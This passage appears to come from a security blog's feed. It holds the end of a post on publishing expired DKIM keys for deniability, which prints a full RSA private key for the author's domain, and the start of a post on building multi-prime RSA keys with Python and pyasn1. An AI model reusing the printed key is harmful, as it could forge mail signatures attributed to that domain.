class="highlighttable"><tbody><tr><td> <code>&lt;span class="pgcssgp"&gt;$ &lt;/span&gt;./dkim-private.py&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;ryanc.org&amp;#39;&lt;/span&gt;&lt;span class="pgcssw"&gt; &lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;20170829-b29b2444f764c222c3faf5c&amp;#39;&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;MIICXQIBAAKBgQDkOSIRW7R8a3e0J0lZqbBJSpHJYPk043/OB3lcT2apKtnu7MLj&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;IRqUAgRyYSVAGC10ID2Qlxmy1Ji3EBRB1qI2IsNKgC2C4qzGxx54ShpVR/8yY9Qy&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;1eyNtTF5Y/XSoLWoRVO1oly+WL+4O2TRuyujEwoZcFUwXzuuuqJtzbI17wIDAQAB&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;AoGBAKClArD7PzExKGJcIQqHIjqEzdfVdbVfyc+JfUiX72h2bE78wzXDUIUMYnrs&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;nJ7gJeaO5ycG5ST29sQtAkVRwn1KTLaU9fYmGpbkKyOWWfmztppZIvwi9l4tU5h2&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;GJVw+HbhcWO6tYbTqR9Bc8IelXyVibwmJwImr0AoD8sBLryhAkEA6o/8upWykC5U&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;Sot9Q2o5M89EO1qA7J/ao/FPc2TUJKat+z4JXde2HWW/8D3LJR4hGwSpgwLMq9dr&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;TzdjbzFTkQJBAPkU07sfsjMdCz8lw5AEIhAXDrfMWK6+tLNbFzv+Z0EkEmQZS7US&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;Sh0Kc+uTJyMZTggftbpqi1vKu/IRwtwLMX8CQFT/ABGMlTvxzdGFYkq/fyLrBEqN&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;rRIRiuTFWIj0DHuLepgEDtjWhcN5T2f6vFYi6NQliFdU+F18ngICjCGKukECQHse&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;ClIyJpkRQB/kgLfM8zFU1FeRUDx/0z3cRq3G4C7Yr6Z+wmcsNSoJoqbMw8mblnB5&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;jBAq3dtvaFsM4G53se0CQQC9ocR9eQdXvq5ibwZAmgYcMLEaq7NeX//l6zdxLd52&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;NcVcuaAUzf5KdTRwA9gJ4Qdzwntc+UB2ElpI2AOj7AFV&lt;/span&gt;</code> </td></tr><tr><td> <code>&lt;span class="pgcssgo"&gt;-----END RSA PRIVATE KEY-----&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>When I originally set this up, I was a bit concerned that I&rsquo;d run into issues with filtering systems trying to validate my sent emails significantly after delivery. Per the RFC:</p> <blockquote> A signer should not sign with a private key when the selector containing the corresponding public key is expected to be revoked or removed before the verifier has an opportunity to validate the signature. The signer should anticipate that verifiers may choose to defer validation, perhaps until the message is actually read by the final recipient. In particular, when rotating to a new key pair, signing should immediately commence with the new private key and the old public key should be retained for a reasonable validation interval before being removed from the key server.</blockquote> <p>In the process of writing this up, I went through the 24 months of query logs I have. With very few exceptions (most of which were probably my own testing) there were no lookups against selectors other than on the day they were being used, so this doesn&rsquo;t seem to be a problem in practice.</p> <p>I alluded to it earlier, but I want to be clear &mdash; publishing <abbr title="DomainKeys Identified Mail">DKIM</abbr> private keys like this mainly addresses leaks as a threat model. In a legal dispute, mail server logs and/or stored mail can be subpoenaed if the authenticity of messages is in question. Even in my case, where I have my own mail server on dedicated hardware with full disk encryption at an undisclosed location, most mail I send will be delivered to a server operated by a third party with no incentive to alter logs at the behest of the recipient.</p> <p>It would make for a fascinating experiment for one of the privacy focused email providers to try deploying a key management strategy similar to the one I&rsquo;ve described in this post.</p> Artisanal RSA2020-08-17T11:53:00-07:002020-08-17T11:53:00-07:00ryanctag:rya.nc,2020-08-17:/artisanal-rsa.html<!-- included from `include/globals.rst` --> <p>Sometimes hacking requires doing things that, while possible to do with some algorithm, simply aren’t supported by any existing implementation. Usually for good reason. A good example of this that I’ve run into in the past is needing to initialize a hash algorithm with a specific state. There’s really not any reason to do this unless you’re trying to execute a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLength_extension_attack">length extension attack</a>, and with the exception of <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fbwall%2FHashPump">HashPump</a> (which was written specifically for that use case) I’m not aware of any library that supports it. I recently ran into this with problem with <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FRSA_%28cryptosystem%29">RSA</a>.</p> <!-- included from `include/globals.rst` --> <p>Sometimes hacking requires doing things that, while possible to do with some algorithm, simply aren&rsquo;t supported by any existing implementation. Usually for good reason. A good example of this that I&rsquo;ve run into in the past is needing to initialize a hash algorithm with a specific state. There&rsquo;s really not any reason to do this unless you&rsquo;re trying to execute a <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLength_extension_attack">length extension attack</a>, and with the exception of <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fbwall%2FHashPump">HashPump</a> (which was written specifically for that use case) I&rsquo;m not aware of any library that supports it. I recently ran into this with problem with <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FRSA_%28cryptosystem%29">RSA</a>.</p> <div class="section" id="a-quick-review-of-rsa-keys"> <h2><a href="#a-quick-review-of-rsa-keys" rel="bookmark">A Quick Review of RSA Keys</a></h2> <p>RSA private keys consist of:</p> <ul class="simple"> <li><span class="formula"><i>n</i></span>, the composite modulus</li> <li><span class="formula"><i>e</i></span>, the public exponent</li> <li><span class="formula"><i>d</i></span>, the private exponent</li> <li>some other values that can be ignored for now</li> </ul> <p>In order to find <span class="formula"><i>d</i></span>, <span class="formula"><i>&phi;</i>(<i>n</i>)</span> must first be computed by subtracting one from each of the prime factors of <span class="formula"><i>n</i></span> and taking their product. Next <span class="formula"><i>d</i></span> is calculated using the <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FExtended_Euclidean_algorithm">extended Euclidean algorithm</a> to find the modular multiplicative inverse of <span class="formula"><i>e</i></span> with respect to <span class="formula"><i>&phi;</i>(<i>n</i>)</span>, such that <span class="formula"><i>de</i> <span class="text">mod</span> <i>&phi;</i>(<i>n</i>)  &equiv; 1</span>. For the math to work out, <span class="formula"><i>e</i></span> cannot share any factors with <span class="formula"><i>&phi;</i>(<i>n</i>)</span>. The security of RSA relies on it being infeasible to find <span class="formula"><i>d</i></span> without the prime factors of <span class="formula"><i>n</i></span>. In practice, keys are normally generated by picking two random prime numbers of similar length, using 65537<a class="footnote-reference" href="#id4">[1]</a><a id="id1"></a> for <span class="formula"><i>e</i></span>, and computing everything else from there.</p> <p>Readers already familiar with RSA may be wondering why I haven&rsquo;t mentioned the customary names for the primes factors of <span class="formula"><i>n</i></span> &mdash; <span class="formula"><i>p</i></span> and <span class="formula"><i>q</i></span>. That is because RSA works just fine with more than two primes. There was an offhand reference to this in the original <a class="external" href="proxy.php?url=https%3A%2F%2Fpatents.google.com%2Fpatent%2FUS4405829A%2Fen">RSA patent</a>:</p> <blockquote> In alternative embodiments, the present invention may use a modulus n which is a product of three or more primes (not necessarily distinct<a class="footnote-reference" href="#id5">[2]</a><a id="id2"></a>).</blockquote> <p>So-called &ldquo;Multi-Prime RSA&rdquo; allows faster computations with a given modulus size, but as far as I can tell it&rsquo;s never seen much use. There&rsquo;s been some interest as a <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.imperialviolet.org%2F2011%2F04%2F09%2Fmultiprime.html">performance optimization</a> since <span class="abbr" data-title="Certificate Authorities"><abbr title="Certificate Authorities">CAs</abbr></span> started requiring a minimum modulus size of 2048 bits, but wide support for <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FElliptic_Curve_Digital_Signature_Algorithm">ECDSA</a> (which is much faster for private key operations) has relegated it to obscurity.</p> </div> <div class="section" id="shenanigans"> <h2><a href="#shenanigans" rel="bookmark">Shenanigans</a></h2> <p>In my previous post, &ldquo;<a class="external" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fcert-tricks.html">Stupid Certificate Tricks</a>&rdquo;, I showed how to create an RSA key with custom parameters in order to embed data in a certificate. That was a relatively simple case &mdash; <a class="external" href="proxy.php?url=https%3A%2F%2Fpycryptodome.readthedocs.io%2Fen%2Flatest%2F">PyCryptodome</a><a class="footnote-reference" href="#id6">[3]</a><a id="id3"></a> has <a class="code external" href="proxy.php?url=https%3A%2F%2Fpycryptodome.readthedocs.io%2Fen%2Flatest%2Fsrc%2Fpublic_key%2Frsa.html%23Crypto.PublicKey.RSA.construct">RSA.construct()</a> which allows a key to be instantiated with arbitrary values for the modulus <span class="formula"><i>n</i></span>, public exponent <span class="formula"><i>e</i></span>, private exponent <span class="formula"><i>d</i></span>, first prime <span class="formula"><i>p</i></span>, and second prime <span class="formula"><i>q</i></span>. Having to compute <span class="formula"><i>n</i></span> and <span class="formula"><i>d</i></span> even though they can be derived from the other three values is a mild annoyance, but in the end not a big deal. Unfortunately the API doesn&rsquo;t allow specifying a third or further primes, which I found myself needing to do.</p> </div> <div class="section" id="serialization"> <h2><a href="#serialization" rel="bookmark">Serialization</a></h2> <p>When I went to research possible solutions, I made several surprising discoveries. First, support for multi-prime RSA had been added to Go&rsquo;s standard library <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fgolang%2Fgo%2Fcommit%2F555685e26cb0c83843724778510575b61c6bc91e">in 2011</a>. Second, <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FPKCS_1">PKCS</a> defined serialization of such keys in version 2.1, which was released in 2002. Finally, OpenSSL added support in <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.openssl.org%2Fnews%2Fopenssl-1.1.1-notes.html">version 1.1.1</a>.</p> <p>At this point, I was gritting my teeth a bit because like many TLS related data formats, RSA private keys use <a class="external" href="proxy.php?url=https%3A%2F%2Fletsencrypt.org%2Fdocs%2Fa-warm-welcome-to-asn1-and-der%2F">ASN.1</a>. I like dealing with ASN.1 about as much as I like dealing with XML, which is to say, not at all. A bit of searching turned up <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fetingof%2Fpyasn1">pyasn1</a> which made things tolerable. To make the ASN.1 serialization work, all I had to do was translate the definitions from <a class="external" href="proxy.php?url=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc8017.html%23appendix-A.1.2">RFC 8017</a> into Python and write a bit of code to compute all of the derived values given a public exponent and list of primes.</p> <div class="highlight"><table class="highlighttable"><caption><a download="" href="proxy.php?url=https%3A%2F%2Frya.nc%2Fartisanal-rsa_%2Fattach%2Fmprsa.py" id="mprsa-py">mprsa.py</a></caption><tbody><tr><td class="linenos">1</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;re&lt;/span&gt;</code> </td></tr><tr><td class="linenos">2</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;sys&lt;/span&gt;</code> </td></tr><tr><td class="linenos">3</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;gmpy2&lt;/span&gt;</code> </td></tr><tr><td class="linenos">4</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;base64&lt;/span&gt;</code> </td></tr><tr><td class="linenos">5</td><td> <code>&lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssnn"&gt;hashlib&lt;/span&gt;</code> </td></tr><tr><td class="linenos">6</td><td> </td></tr><tr><td class="linenos">7</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;functools&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;reduce&lt;/span&gt;</code> </td></tr><tr><td class="linenos">8</td><td> </td></tr><tr><td class="linenos">9</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;OpenSSL&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;crypto&lt;/span&gt;</code> </td></tr><tr><td class="linenos">10</td><td> </td></tr><tr><td class="linenos">11</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;pyasn1.type.univ&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;Sequence&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;SequenceOf&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;</code> </td></tr><tr><td class="linenos">12</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;pyasn1.type.namedtype&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;NamedTypes&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;OptionalNamedType&lt;/span&gt;</code> </td></tr><tr><td class="linenos">13</td><td> <code>&lt;span class="pgcsskn"&gt;from&lt;/span&gt; &lt;span class="pgcssnn"&gt;pyasn1.codec.der.encoder&lt;/span&gt; &lt;span class="pgcsskn"&gt;import&lt;/span&gt; &lt;span class="pgcssn"&gt;encode&lt;/span&gt; &lt;span class="pgcssk"&gt;as&lt;/span&gt; &lt;span class="pgcssn"&gt;der_encode&lt;/span&gt;</code> </td></tr><tr><td class="linenos">14</td><td> </td></tr><tr><td class="linenos">15</td><td> <code>&lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssnf"&gt;product&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;items&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">16</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;reduce&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssk"&gt;lambda&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;y&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt; &lt;span class="pgcsso"&gt;*&lt;/span&gt; &lt;span class="pgcssn"&gt;y&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;items&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">17</td><td> </td></tr><tr><td class="linenos">18</td><td> <code>&lt;span class="pgcssk"&gt;class&lt;/span&gt; &lt;span class="pgcssnc"&gt;RSAError&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssne"&gt;ValueError&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">19</td><td> <code> &lt;span class="pgcssk"&gt;pass&lt;/span&gt;</code> </td></tr><tr><td class="linenos">20</td><td> </td></tr><tr><td class="linenos">21</td><td> <code>&lt;span class="pgcssc1"&gt;# https://tools.ietf.org/html/rfc8017#appendix-A.1.2&lt;/span&gt;</code> </td></tr><tr><td class="linenos">22</td><td> <code>&lt;span class="pgcssk"&gt;class&lt;/span&gt; &lt;span class="pgcssnc"&gt;OtherPrimeInfo&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;Sequence&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">23</td><td> <code> &lt;span class="pgcssn"&gt;componentType&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;NamedTypes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;</code> </td></tr><tr><td class="linenos">24</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;prime&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">25</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;exponent&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">26</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;coefficient&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;())&lt;/span&gt;</code> </td></tr><tr><td class="linenos">27</td><td> <code> &lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">28</td><td> </td></tr><tr><td class="linenos">29</td><td> <code>&lt;span class="pgcssk"&gt;class&lt;/span&gt; &lt;span class="pgcssnc"&gt;OtherPrimeInfos&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;SequenceOf&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">30</td><td> <code> &lt;span class="pgcssn"&gt;componentType&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;OtherPrimeInfo&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">31</td><td> </td></tr><tr><td class="linenos">32</td><td> <code>&lt;span class="pgcssk"&gt;class&lt;/span&gt; &lt;span class="pgcssnc"&gt;RSAPrivateKey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;Sequence&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">33</td><td> <code> &lt;span class="pgcssn"&gt;componentType&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;NamedTypes&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;</code> </td></tr><tr><td class="linenos">34</td><td> <code> &lt;span class="pgcssc1"&gt;# Version ::= INTEGER { two-prime(0), multi(1) }&lt;/span&gt;</code> </td></tr><tr><td class="linenos">35</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;version&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">36</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;modulus&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">37</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;publicExponent&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">38</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;privateExponent&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">39</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;prime1&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">40</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;prime2&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">41</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;exponent1&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">42</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;exponent2&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">43</td><td> <code> &lt;span class="pgcssn"&gt;NamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;coefficient&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;Integer&lt;/span&gt;&lt;span class="pgcssp"&gt;()),&lt;/span&gt;</code> </td></tr><tr><td class="linenos">44</td><td> <code> &lt;span class="pgcssn"&gt;OptionalNamedType&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;otherPrimeInfos&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;OtherPrimeInfos&lt;/span&gt;&lt;span class="pgcssp"&gt;())&lt;/span&gt;</code> </td></tr><tr><td class="linenos">45</td><td> <code> &lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">46</td><td> </td></tr><tr><td class="linenos">47</td><td> <code> &lt;span class="pgcssc1"&gt;# instantiate private key given public exponent and list of primes&lt;/span&gt;</code> </td></tr><tr><td class="linenos">48</td><td> <code> &lt;span class="pgcssk"&gt;def&lt;/span&gt; &lt;span class="pgcssfm"&gt;__init__&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssbp"&gt;self&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;e&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">49</td><td> <code> &lt;span class="pgcssnb"&gt;super&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssfm"&gt;__init__&lt;/span&gt;&lt;span class="pgcssp"&gt;()&lt;/span&gt;</code> </td></tr><tr><td class="linenos">50</td><td> </td></tr><tr><td class="linenos">51</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssnb"&gt;set&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;))&lt;/span&gt; &lt;span class="pgcsso"&gt;!=&lt;/span&gt; &lt;span class="pgcssnb"&gt;len&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;):&lt;/span&gt;</code> </td></tr><tr><td class="linenos">52</td><td> <code> &lt;span class="pgcssk"&gt;raise&lt;/span&gt; &lt;span class="pgcssn"&gt;RSAError&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcsss1"&gt;&amp;#39;Cannot compute CRT coefficents with repeat primes&amp;#39;&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">53</td><td> </td></tr><tr><td class="linenos">54</td><td> <code> &lt;span class="pgcssn"&gt;primes&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt; &lt;span class="pgcsso"&gt;+&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;</code> </td></tr><tr><td class="linenos">55</td><td> </td></tr><tr><td class="linenos">56</td><td> <code> &lt;span class="pgcssc1"&gt;# compute modulus&lt;/span&gt;</code> </td></tr><tr><td class="linenos">57</td><td> <code> &lt;span class="pgcssn"&gt;n&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;product&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;:])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">58</td><td> </td></tr><tr><td class="linenos">59</td><td> <code> &lt;span class="pgcssn"&gt;primes_minus_one&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssn"&gt;x&lt;/span&gt; &lt;span class="pgcsso"&gt;-&lt;/span&gt; &lt;span class="pgcssmi"&gt;1&lt;/span&gt; &lt;span class="pgcssk"&gt;for&lt;/span&gt; &lt;span class="pgcssn"&gt;x&lt;/span&gt; &lt;span class="pgcssow"&gt;in&lt;/span&gt; &lt;span class="pgcssn"&gt;primes&lt;/span&gt;&lt;span class="pgcssp"&gt;]&lt;/span&gt;</code> </td></tr><tr><td class="linenos">60</td><td> <code> &lt;span class="pgcssn"&gt;phi&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;product&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;primes_minus_one&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;:])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">61</td><td> </td></tr><tr><td class="linenos">62</td><td> <code> &lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span 